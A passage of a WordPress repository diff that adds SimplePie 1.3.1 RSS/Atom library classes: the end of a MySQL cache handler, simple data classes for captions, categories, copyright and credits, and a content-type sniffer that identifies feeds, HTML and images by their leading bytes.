+					$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
+					$query->bindValue(':data', serialize($data));
+					$query->bindValue(':time', time());
+					$query->bindValue(':feed', $this->id);
+					if ($this->execute())
+					{
+						return true;
+					}
+				}
+				else
+				{
+					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
+					$query->bindValue(':id', $this->id);
+					$query->bindValue(':data', serialize($data));
+					$query->bindValue(':time', time());
+					if ($query->execute())
+					{
+						return true;
+					}
+				}
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
+		$query->bindValue(':id', $this->id);
+		if ($query->execute() && ($row = $query->fetch()))
+		{
+			$data = unserialize($row[1]);
+
+			if (isset($this->options['items'][0]))
+			{
+				$items = (int) $this->options['items'][0];
+			}
+			else
+			{
+				$items = (int) $row[0];
+			}
+
+			if ($items !== 0)
+			{
+				if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
+				}
+				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
+				}
+				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
+				}
+				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0];
+				}
+				else
+				{
+					$feed = null;
+				}
+
+				if ($feed !== null)
+				{
+					$sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
+					if ($items > 0)
+					{
+						$sql .= ' LIMIT ' . $items;
+					}
+
+					$query = $this->mysql->prepare($sql);
+					$query->bindValue(':feed', $this->id);
+					if ($query->execute())
+					{
+						while ($row = $query->fetchColumn())
+						{
+							$feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row);
+						}
+					}
+					else
+					{
+						return false;
+					}
+				}
+			}
+			return $data;
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
+		$query->bindValue(':id', $this->id);
+		if ($query->execute() && ($time = $query->fetchColumn()))
+		{
+			return $time;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
+		$query->bindValue(':time', time());
+		$query->bindValue(':id', $this->id);
+		if ($query->execute() && $query->rowCount() > 0)
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
+		$query->bindValue(':id', $this->id);
+		$query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
+		$query2->bindValue(':id', $this->id);
+		if ($query->execute() && $query2->execute())
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Caption.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Caption.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Caption.php	(revision 56912)
@@ -0,0 +1,210 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Handles `<media:text>` captions as defined in Media RSS.
+ *
+ * Used by {@see SimplePie_Enclosure::get_caption()} and {@see SimplePie_Enclosure::get_captions()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_caption_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Caption
+{
+	/**
+	 * Content type
+	 *
+	 * @var string
+	 * @see get_type()
+	 */
+	var $type;
+
+	/**
+	 * Language
+	 *
+	 * @var string
+	 * @see get_language()
+	 */
+	var $lang;
+
+	/**
+	 * Start time
+	 *
+	 * @var string
+	 * @see get_starttime()
+	 */
+	var $startTime;
+
+	/**
+	 * End time
+	 *
+	 * @var string
+	 * @see get_endtime()
+	 */
+	var $endTime;
+
+	/**
+	 * Caption text
+	 *
+	 * @var string
+	 * @see get_text()
+	 */
+	var $text;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null)
+	{
+		$this->type = $type;
+		$this->lang = $lang;
+		$this->startTime = $startTime;
+		$this->endTime = $endTime;
+		$this->text = $text;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the end time
+	 *
+	 * @return string|null Time in the format 'hh:mm:ss.SSS'
+	 */
+	public function get_endtime()
+	{
+		if ($this->endTime !== null)
+		{
+			return $this->endTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the language
+	 *
+	 * @link http://tools.ietf.org/html/rfc3066
+	 * @return string|null Language code as per RFC 3066
+	 */
+	public function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the start time
+	 *
+	 * @return string|null Time in the format 'hh:mm:ss.SSS'
+	 */
+	public function get_starttime()
+	{
+		if ($this->startTime !== null)
+		{
+			return $this->startTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the text of the caption
+	 *
+	 * @return string|null
+	 */
+	public function get_text()
+	{
+		if ($this->text !== null)
+		{
+			return $this->text;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the content type (not MIME type)
+	 *
+	 * @return string|null Either 'text' or 'html'
+	 */
+	public function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Category.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Category.php	(revision 56912)
@@ -0,0 +1,157 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Manages all category-related data
+ *
+ * Used by {@see SimplePie_Item::get_category()} and {@see SimplePie_Item::get_categories()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_category_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Category
+{
+	/**
+	 * Category identifier
+	 *
+	 * @var string
+	 * @see get_term
+	 */
+	var $term;
+
+	/**
+	 * Categorization scheme identifier
+	 *
+	 * @var string
+	 * @see get_scheme()
+	 */
+	var $scheme;
+
+	/**
+	 * Human readable label
+	 *
+	 * @var string
+	 * @see get_label()
+	 */
+	var $label;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * @param string $term
+	 * @param string $scheme
+	 * @param string $label
+	 */
+	public function __construct($term = null, $scheme = null, $label = null)
+	{
+		$this->term = $term;
+		$this->scheme = $scheme;
+		$this->label = $label;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the category identifier
+	 *
+	 * @return string|null
+	 */
+	public function get_term()
+	{
+		if ($this->term !== null)
+		{
+			return $this->term;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the categorization scheme identifier
+	 *
+	 * @return string|null
+	 */
+	public function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the human readable label
+	 *
+	 * @return string|null
+	 */
+	public function get_label()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return $this->get_term();
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Content/Type/Sniffer.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Content/Type/Sniffer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Content/Type/Sniffer.php	(revision 56912)
@@ -0,0 +1,332 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Content-type sniffing
+ *
+ * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
+ *
+ * This is used since we can't always trust Content-Type headers, and is based
+ * upon the HTML5 parsing rules.
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()}
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ */
+class SimplePie_Content_Type_Sniffer
+{
+	/**
+	 * File object
+	 *
+	 * @var SimplePie_File
+	 */
+	var $file;
+
+	/**
+	 * Create an instance of the class with the input file
+	 *
+	 * @param SimplePie_Content_Type_Sniffer $file Input file
+	 */
+	public function __construct($file)
+	{
+		$this->file = $file;
+	}
+
+	/**
+	 * Get the Content-Type of the specified file
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function get_type()
+	{
+		if (isset($this->file->headers['content-type']))
+		{
+			if (!isset($this->file->headers['content-encoding'])
+				&& ($this->file->headers['content-type'] === 'text/plain'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=UTF-8'))
+			{
+				return $this->text_or_binary();
+			}
+
+			if (($pos = strpos($this->file->headers['content-type'], ';')) !== false)
+			{
+				$official = substr($this->file->headers['content-type'], 0, $pos);
+			}
+			else
+			{
+				$official = $this->file->headers['content-type'];
+			}
+			$official = trim(strtolower($official));
+
+			if ($official === 'unknown/unknown'
+				|| $official === 'application/unknown')
+			{
+				return $this->unknown();
+			}
+			elseif (substr($official, -4) === '+xml'
+				|| $official === 'text/xml'
+				|| $official === 'application/xml')
+			{
+				return $official;
+			}
+			elseif (substr($official, 0, 6) === 'image/')
+			{
+				if ($return = $this->image())
+				{
+					return $return;
+				}
+				else
+				{
+					return $official;
+				}
+			}
+			elseif ($official === 'text/html')
+			{
+				return $this->feed_or_html();
+			}
+			else
+			{
+				return $official;
+			}
+		}
+		else
+		{
+			return $this->unknown();
+		}
+	}
+
+	/**
+	 * Sniff text or binary
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function text_or_binary()
+	{
+		if (substr($this->file->body, 0, 2) === "\xFE\xFF"
+			|| substr($this->file->body, 0, 2) === "\xFF\xFE"
+			|| substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
+			|| substr($this->file->body, 0, 3) === "\xEF\xBB\xBF")
+		{
+			return 'text/plain';
+		}
+		elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body))
+		{
+			return 'application/octect-stream';
+		}
+		else
+		{
+			return 'text/plain';
+		}
+	}
+
+	/**
+	 * Sniff unknown
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function unknown()
+	{
+		$ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
+		if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
+			|| strtolower(substr($this->file->body, $ws, 5)) === '<html'
+			|| strtolower(substr($this->file->body, $ws, 7)) === '<script')
+		{
+			return 'text/html';
+		}
+		elseif (substr($this->file->body, 0, 5) === '%PDF-')
+		{
+			return 'application/pdf';
+		}
+		elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-')
+		{
+			return 'application/postscript';
+		}
+		elseif (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
+		{
+			return 'image/vnd.microsoft.icon';
+		}
+		else
+		{
+			return $this->text_or_binary();
+		}
+	}
+
+	/**
+	 * Sniff images
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function image()
+	{
+		if (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
+		{
+			return 'image/vnd.microsoft.icon';
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Sniff HTML
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function feed_or_html()
+	{
+		$len = strlen($this->file->body);
+		$pos = strspn($this->file->body, "\x09\x0A\x0D\x20");
+
+		while ($pos < $len)
+		{
+			switch ($this->file->body[$pos])
+			{
+				case "\x09":
+				case "\x0A":
+				case "\x0D":
+				case "\x20":
+					$pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
+					continue 2;
+
+				case '<':
+					$pos++;
+					break;
+
+				default:
+					return 'text/html';
+			}
+
+			if (substr($this->file->body, $pos, 3) === '!--')
+			{
+				$pos += 3;
+				if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false)
+				{
+					$pos += 3;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '!')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false)
+				{
+					$pos++;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '?')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false)
+				{
+					$pos += 2;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 3) === 'rss'
+				|| substr($this->file->body, $pos, 7) === 'rdf:RDF')
+			{
+				return 'application/rss+xml';
+			}
+			elseif (substr($this->file->body, $pos, 4) === 'feed')
+			{
+				return 'application/atom+xml';
+			}
+			else
+			{
+				return 'text/html';
+			}
+		}
+
+		return 'text/html';
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Copyright.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Copyright.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Copyright.php	(revision 56912)
@@ -0,0 +1,130 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Manages `<media:copyright>` copyright tags as defined in Media RSS
+ *
+ * Used by {@see SimplePie_Enclosure::get_copyright()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_copyright_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Copyright
+{
+	/**
+	 * Copyright URL
+	 *
+	 * @var string
+	 * @see get_url()
+	 */
+	var $url;
+
+	/**
+	 * Attribution
+	 *
+	 * @var string
+	 * @see get_attribution()
+	 */
+	var $label;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($url = null, $label = null)
+	{
+		$this->url = $url;
+		$this->label = $label;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the copyright URL
+	 *
+	 * @return string|null URL to copyright information
+	 */
+	public function get_url()
+	{
+		if ($this->url !== null)
+		{
+			return $this->url;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the attribution text
+	 *
+	 * @return string|null
+	 */
+	public function get_attribution()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Core.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Core.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Core.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2009, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * SimplePie class.
+ *
+ * Class for backward compatibility.
+ *
+ * @deprecated Use {@see SimplePie} directly
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Core extends SimplePie
+{
+
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Credit.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Credit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Credit.php	(revision 56912)
@@ -0,0 +1,156 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
